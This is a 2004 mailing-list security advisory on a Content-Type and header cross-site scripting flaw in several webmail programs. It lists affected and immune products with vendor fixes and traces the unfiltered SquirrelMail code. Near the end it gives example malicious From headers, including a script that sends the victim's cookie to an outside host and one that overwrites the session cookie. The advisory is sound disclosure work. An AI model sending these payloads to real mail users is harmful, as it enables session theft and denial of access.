[UNIX] Content-Type XSS Vulnerability in Multiple Webmail Programs

From: SecuriTeam (support_at_securiteam.com)
Date: 07/07/04

  • Next message: SecuriTeam: "[NEWS] Bypassing UnrealIRCd IP Cloaking"
    To: list@securiteam.com
    Date: 7 Jul 2004 16:28:06 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Content-Type XSS Vulnerability in Multiple Webmail Programs
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability has been discovered in several web mail applications. Due
    to un-sanitized user input, a specially crafted e-mail being read by the
    victim can inject arbitrary HTML tags. When correctly exploited, it will
    permit the execution of malicious scripts to run in the context of the
    victim's browser.

    DETAILS

    Vulnerable Systems:
     * SquirrelMail version 1.5.1 and earlier.
    Solution: Upgrade to version 1.5.1 CVS or later.

     * IMP 3.2.3 (from Horde project).
    "A new IMP version (3.2.4) that fixes this vulnerability has been
    released. Thanks for working with us to reproduce this flaw and letting us
    know about this security hole. Solution: upgrade to release 3.2.4" - Jan
    Schneider

     * OpenWebmail 2.32.
    "This bug in openwebmail has already been fixed since openwebmail-2.32
    20040603, Solution: upgrade to openwebmail-current.tgz" - Chung-Kie Tung

     * IlohaMail 0.8.12.
    "A vulnerability similar to the one you describe in your advisory was
    found in IlohaMail some time ago, and was fixed on April 8th. However,
    since there has not been a release since then, the fix is currently only
    available in CVS. Solution: upgrade to release 0.8.13." - Ryo Chijiiwa

     * Sqwebmail 4.0.4. Vulnerable (to similar bug).
    "Although sqwebmail did not have this content-type: vulnerability,
    versions 4.0.4 had a similar, related, cross-site scripting vulnerability
    when using the "full headers" command, which was fixed in 4.0.5. Solution:
    upgrade to release 4.0.5. - Sam Varshavchik

    Immune Systems:
     * Camas.
    "I tested the two exploits with Courier-IMAP as the IMAP server and it
    doesn't work (at least without modifications and lookup in the source
    code) and can't work for 3 reasons:
    1) Camas IMAP client doesn't use BODYSTRUCTURE

    2) Pike's MIME.Message object is quite picky and won't allow any strange
    content-type (tested with 7.6 and 7.2 that all Camas maintained versions
    used). Camas's IMAP client (which is everything except perfect) actually
    fails because of this (at least one good one point in it) so you can't
    read such a mail (but you can delete or move it).

    3) Camas escapes any HTML/XHTML characters regarding content type and file
    name (btw can be interested to change the filename and check the result in
    SM...)" - David Gourdelier

     * BasiliX.
    "Similar problems were reported in BasiliX-1.1.0 (and probably earlier
    versions). When I took over maintenance of the project, between 1.1.0 and
    1.1.1, some had been addressed and others hadn't. One of my first
    priorities was to fix this problem. As far as I am aware, these issues
    have been fixed in the latest stable release, BasiliX-1.1.1fix1, and in
    the upcoming release 1.1.2. In fact the fix1 release was released very
    quickly (within 24 hours) after 1.1.1 as a couple of XSS problems had
    slipped the net. BasiliX-1.1.1 (Nov 17 2003) and earlier versions are
    vulnerable. BasiliX-1.1.1_fix1 (Nov 18 2003) and later are immune." - Mike
    Peters

     * Hastymail.
    Release 1.0 and current CVS are reported to be non-vulnerable.
    " I am unable to duplicate the exploit with hastymail, and I believe it to
    be secure against this particular attack. I might also mention that
    hastymail uses NO JavaScript (one of our coding guidelines) so users can
    disable it completely if need be." - Jason Munro

     * GatorMail.
    "That said, I did a review and noticed that I missed a few on* events in
    html mail view which has been fixed in CVS and a hot fix has been applied
    to the only install of GatorMail I know of." - Sandy McArthur

     * JAWmail.
    "JAWmail 2.0 and upward is not vulnerable to 'From address HTML code
    insertion'. Also, JAWmail 1.x is not vulnerable. Same for Content-Type XSS
    bug." - Rudi Benkovi

    "I checked it against JAWmail 1.0.2 and it's save against this. Since
    JAWmail uses imap_rfc822_write_address() for quite some while know to
    generate a proper formatted output, I do not think that any older version
    is vulnerable. I do not remember changing that part since I started with
    JAWmail (was Version 0.9.18 I think)" - Sebastian Dietz

     * NS WebMail.
    "Looking through my code, NS WebMail is not vulnerable (headers are
    semi-"converted" using html entities before displaying). However, there
    were dozens of other security concerns (even worse and some more obvious)
    before 0.10.2, so in any case i urge my users to upgrade to that version."
    - Alexandre Aufrere

    Below is an elaborate analysis of the vulnerability. For the full text and
    test cases please visit the original article linked in this article.

    Vulnerable Code:
    The code below is taken from SquirrelMail, to explain the general problem.
    Looking at the code in: src/read_body.php
    $attachmentsdisplay = formatAttachments($message,$ent_ar,$mailbox,
    $passed_id);
    if ($attachmentsdisplay) {
       echo ' </table>';
       echo ' <table width="100%" cellpadding="1" cellspacing="0"
    align="center"'.' border="0" bgcolor="'.$color[9].'">';
       echo ' <tr><td>';
       echo ' <table width="100%" cellpadding="0" cellspacing="0"
    align="center" border="0" bgcolor="'.$color[4].'">';
       echo ' <tr>' . html_tag( 'td', '', 'left', $color[9] );
       echo ' <b>' . _("Attachments") . ':</b>';
       echo ' </td></tr>';
       echo ' <tr><td>';
       echo ' <table width="100%" cellpadding="2" cellspacing="2"
    align="center"'.' border="0" bgcolor="'.$color[0].'"><tr><td>
    ';
       echo $attachmentsdisplay;
       echo ' </td></tr></table>';
       echo ' </td></tr></table>';
       echo ' </td></tr>';
       echo '<TR><TD HEIGHT="5" COLSPAN="2" BGCOLOR="'.
              $color[4].'"></TD></TR>';
    }

    There is an "echo" statement where a variable was used. Seems like it was
    not to be filtered in any way. Sure enough, $attachmentsdisplay has not
    been sanitized. It is used to print all info related to an attachment
    (file type, the name of attachment itself and so on). This is typically
    contained inside the email (headers) being received by the victim so it is
    easily spoofable by an evil attacker.
     
    In "functions/mime.php":
    function formatAttachments($message, $exclude_id, $mailbox, $id) {
     [...]
        $att_ar = $message->getAttachments($exclude_id);

        if (!count($att_ar)) return '';

        $attachments = '';
     
        $urlMailbox = urlencode($mailbox);

        foreach ($att_ar as $att) {
            $ent = $att->entity_id;
            $header = $att->header;
            $type0 = strtolower($header->type0);
            $type1 = strtolower($header->type1);
     [...]
            $attachments .= '<TR><TD>' .
                            '<A
    HREF="'.$defaultlink.'">'.decodeHeader($display_filename).'</A> </TD>' .
                            '<TD><SMALL><b>' .
    show_readable_size($header->size) .
                            '</b> </small></TD>' .
                            "<TD><SMALL>[ $type0/$type1 ] </SMALL></TD>" .
                            '<TD><SMALL>';
            $attachments .= '<b>' . $description . '</b>';
            $attachments .= '</SMALL></TD><TD><SMALL> ';
     [...]
        }
        $attachmentadd = do_hook_function('attachments_bottom',$attachments);
        if ($attachmentadd != '')
            $attachments = $attachmentadd;
        return $attachments;
    }

    As our sharp readers can see, $type0 and $type1 variables remain
    unfiltered. Where do they come from? Well, it's not trivial, at least for
    somebody who is not familiarized with IMAP protocol. The fast response to
    the previous question is: both variables come from the object named
    "$message". We can verify the class this variable corresponds to by adding
    a debug line such as:

    error_log('$message class: ' . get_class($message));

    It reveals that $message corresponds to "Message" class. This class is
    defined at "class/mime/Message.class.php". Doing the same for $header
    variable, we obtain the class "MessageHeader", which is defined at
    "class/mime/MessageHeader.class.php". In particular, $type0 is read from
    this last object (and converted into lowercase; this would be a little
    restriction at the time of exploitation, although it can be easily
    bypassed) and it applies to $type1.

    Are you getting bored? Well, to sum up: SM uses the same structures
    defined by the IMAP protocol (RFC 3501) and the parsing task is left to be
    performed by the IMAP server. This is an important point.

    You can skip the following excerpt but I think it may help to understand
    the whole thing. Notice that "msg_header" in the text really corresponds
    to "MessageHeader" class. Quoting from "doc/mime.txt":

    Object Structure:
    There are two objects that are used: "message" and "msg_header". Here is a
    brief overview of what each object contains.

    msg_header
    Contains variables for all the necessary parts of the header of a message.
    This includes (but is not limited to) the following: to, from, subject,
    type (type0), subtype (type1), filename ...
     
    message
    This contains the structure for the message. It contains two parts:
    $header and $entities[]. $header is of type msg_header, and $entities[] is
    an array of type $message. The $entities[] array is optional. If it does
    not exist, then we are at a leaf node, and have an actual attachment
    (entity) that can be displayed. Here is a tree view of how this object
    functions.
       header
       entities
          |
          +--- header
          |
          +--- header
          | entities
          | |
          | +--- header
          | |
          | +--- header
          |
          +--- header

    Getting the Structure:
    Previously (version 0.4 and below), SquirrelMail handled all the parsing
    of the email message. It would read the entire message in, search for
    boundaries, and create an array similar to the $message object described
    above. This was very inefficient.

    Currently, all the parsing of the body of the message takes place on the
    IMAP server itself. According to RFC 2060 section 7.4.2, we can use the
    BODYSTRUCTURE function that will return the structure of the body (imagine
    that). It goes into detail of how the bodystructure should be formatted,
    and we have based our new MIME support on this specification.

    A simple text/plain message would have a BODYSTRUCTURE similar to the
    following:
     ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23)
    A more complicated multipart message with an attachment would look like:
       (("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23)("TEXT"
    "PLAIN" ("CHARSET" "US-ASCII" "NAME" "cc.diff")
       "<960723163407.20117h@cac.washington.edu>" "Compiler diff" "BASE64"
    4554 73) "MIXED"))
     
    Our MIME functionality implements different functions that recursively run
    through this text and parses out the structure of the message. If you want
    to learn more about how the structure of a message is returned with the
    BODYSTRUCTURE function, please see RFC 2060 section 7.4.2.

    As you probably guessed, the BODYSTRUCTURE contains "Content-Type" values.
    SquirrelMail directly parses the response issued by IMAP server. To be
    precise, in "functions/imap_messages.php":
    /**
     * Returns a message array with all the information about a message.
     * See the documentation folder for more information about this array.
     */
    function sqimap_get_message ($imap_stream, $id, $mailbox) {
        // typecast to int to prohibit 1:* msgs sets
        $id = (int) $id;
        $flags = array();
        $read = sqimap_run_command ($imap_stream, "FETCH $id (FLAGS
    BODYSTRUCTURE)", true, $response, $message, TRUE);
        if ($read) {
            if (preg_match('/.+FLAGS\s\((.*)\)\s/AUi',$read[0],$regs)) {
                if (trim($regs[1])) {
                    $flags = preg_split('/ /',
    $regs[1],-1,'PREG_SPLIT_NI_EMPTY');
                }
            }
        [...]
        }
                
        $bodystructure = implode('',$read);
        $msg = mime_structure($bodystructure,$flags);
        $read = sqimap_run_command ($imap_stream, "FETCH $id BODY[HEADER]",
    true, $response, $message, TRUE);
        $rfc822_header = new Rfc822Header();
        $rfc822_header->parseHeader($read);
        $msg->rfc822_header = $rfc822_header;
        return $msg;
    }

    The variable $read[0] is a string. It contains the response of the IMAP
    server. So the array $read is converted into a string (using the "implode"
    trick) and then it is passed into "mime_structure()" function. This last
    one can be located at "functions/mime.php":

    function mime_structure ($bodystructure, $flags=array()) {
        /* Isolate the body structure and remove beginning and end
    parenthesis. */
        $read = trim(substr ($bodystructure,
    strpos(strtolower($bodystructure), 'bodystructure') + 13));
        $read = trim(substr ($read, 0, -1));
        $i = 0;
        $msg = Message::parseStructure($read,$i);
        [...]
      
    Finally, the parsing of the IMAP response is really done by the following
    methods of the Message class (defined in "class/mime/Message.class.php"):

        /*
         * Bodystructure parser, a recursive function for generating the
         * entity-tree with all the mime-parts.
         *
         * It follows RFC2060 and stores all the described fields in the
         * message object.
         *
         * Question/Bugs:
         *
         * Ask for me (Marc Groot Koerkamp, stekkel@users.sourceforge.net)
         *
         */
        function parseStructure($read, &$i, $sub_msg = '') {
            $msg = Message::parseBodyStructure($read, $i, $sub_msg);
            if($msg) $msg->setEntIds($msg,false,0);
            return $msg;
        }

        function setEntIds(&$msg,$init=false,$i=0) {
            $iCnt = count($msg->entities);
            if ($init !==false) {
                $iEntSub = $i+1;
                if ($msg->parent->type0 == 'message' &&
                    $msg->parent->type1 == 'rfc822' &&
                    $msg->type0 == 'multipart') {
                    $iEntSub = '0';
                }
                if ($init) {
                    $msg->entity_id = "$init.$iEntSub";
                } else {
                    $msg->entity_id = $iEntSub;
                }
            } else if ($iCnt) {
                $msg->entity_id='0';
            } else {
                $msg->entity_id='1';
            }
            for ($i=0;$i<$iCnt;++$i) {
                $msg->entities[$i]->parent =& $msg;
                if (strrchr($msg->entity_id, '.') != '.0') {
                    
    $msg->entities[$i]->setEntIds($msg->entities[$i],$msg->entity_id,$i);
                } else {
                    
    $msg->entities[$i]->setEntIds($msg->entities[$i],$msg->parent->entity_id,$i);
                }
            }
        }

    And no attempt to filter user input was found here! :-) Some other
    variables will be originally obtained from this object, like the filename
    of the attachment found in an e-mail. But they are processed later and
    filtered in the intermediate process, before being displayed. So they are
    safe from XSS (no full audit was done though). Nevertheless,
    "Content-Type" field is not purged at all and so it is vulnerable to XSS,
    as we have demonstrated through this analysis.

    Exploitation:
    It takes some time to explore the possibilities of exploitation for
    discussed bugs. The attacker should send an e-mail to the victim,
    including our malicious string inside one of the headers, depending on
    which vulnerability we are trying to exploit. The difficult part is to
    study how the string will be filtered through SM processing.

    Example 1: shows the content of the cookie on a dialog box.
    From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><>

    Example 2: cookie theft.
    From:(<!--(--><script>document.location='http://www.rs-labs.com/?'+document.cookie;</script><>

    Example 3: session variable is rewritten (DoS).
    From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx;
    path=/';</script><>

    Please note that we used HTML comments in order to hide the opening
    bracket character ["("] which, otherwise, would be visible to the victim.
    This way, detection of an attack is more difficult to achieve. Be aware
    that the third example could leave a webmail account unusable until the
    offending message is deleted by the administrator or by using alternative
    methods for accessing the mail account (for instance, POP3).

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:roman@rs-labs.com> Roman
    Medina-Heigl Hernandez.
    The original article can be found at:
    <http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt>
    http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt
    And <http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-2.txt>
    http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-2.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Bypassing UnrealIRCd IP Cloaking"

    Relevant Pages